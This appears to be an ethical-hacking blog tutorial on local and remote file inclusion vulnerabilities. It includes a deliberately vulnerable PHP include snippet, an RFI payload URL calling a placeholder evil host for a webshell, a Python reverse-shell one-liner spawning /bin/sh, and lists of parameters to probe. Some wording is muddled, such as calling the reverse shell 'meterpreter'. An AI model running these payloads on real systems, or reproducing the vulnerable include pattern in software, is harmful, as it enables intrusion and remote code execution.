A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application. An attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement. Background Concept of File Inclusion
Basically in this the script run time website is Vulnerable means a website which is dynamic and can contain many pages of a website and a website that has a connection to the database.
Example :-
example.com/wp-admin
example.com/login.php
example.com/page/product.php
example.com/user/profile.php
example.com/index.php?referee=login.php
example.com/post/status?id=12672
Impact of File Inclusion
so lets talk about of impact of File inclusion :
Impact will be code execution on the server. basically what that mean code execution on the server.
● you can try to execute the meterpreter command there, the meterpreter shell command in a reverse connection there.
● You can also execute code exection client side also
● You can use for DOS attack
● You can execute for information disclosure sensitive disclosure is attacks lead an sensitive information like
● The system password, system configure details etc.
Types of File Inclusion
There are two types of file inclusion :-1) Local File Inclusion ( LFI )
2) Remote File Inclusion ( RFI )
1) Local File Inclusion ( LFI )
Any parameter they will have some local file
anyparameter=somelocalfile
Example :-
any.com/index.php?referer=login.php
( This paramter, referer parameter in including, some local file then there may local file inclusion. )
Example :
<?php
if (isset($_GET['language'])) {
include($_GET['language'] . '.php');
}
?>
<form method="get">
<select name="language">
<option value="english">English</option>
<option value="french">French</option>
...
</select>
<input type="submit">
</form>
2) Remote File Inclusion ( RFI )
Any parameter if they will have something remote file inlcusion
anyparameter=remoteweb.com/file
Example :
anyparameter=remoteweb.com/file
any.com/?share=http://facebook.com/status?id=12672
Example :
example.com/vulnerable.php?language=http://evil.example.com/webshell.txt?
OR
( meterpreter command shell )
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
( meterpreter command shell )
Possible Paramter
Local File Inclusion :
[file, document, folder, root, path, pg, style, pdf, template, php_path, doc]
Remote File Inclusion :
[dest, redirect, uri, path, continue, url, window, to, out, view, dir, show, navigation, Open, url, file, val, validate, domain, callback, return, page, feed, host, port, next, data, reference, site, html]
Video Tutorial :- SooN..
Disclaimer
This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing malicious or damaging attacks. Performing any hacks without written permission is illegal ..!
All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.
All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.
- Hacking Truth by Kumar Atul Jaiswal
I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)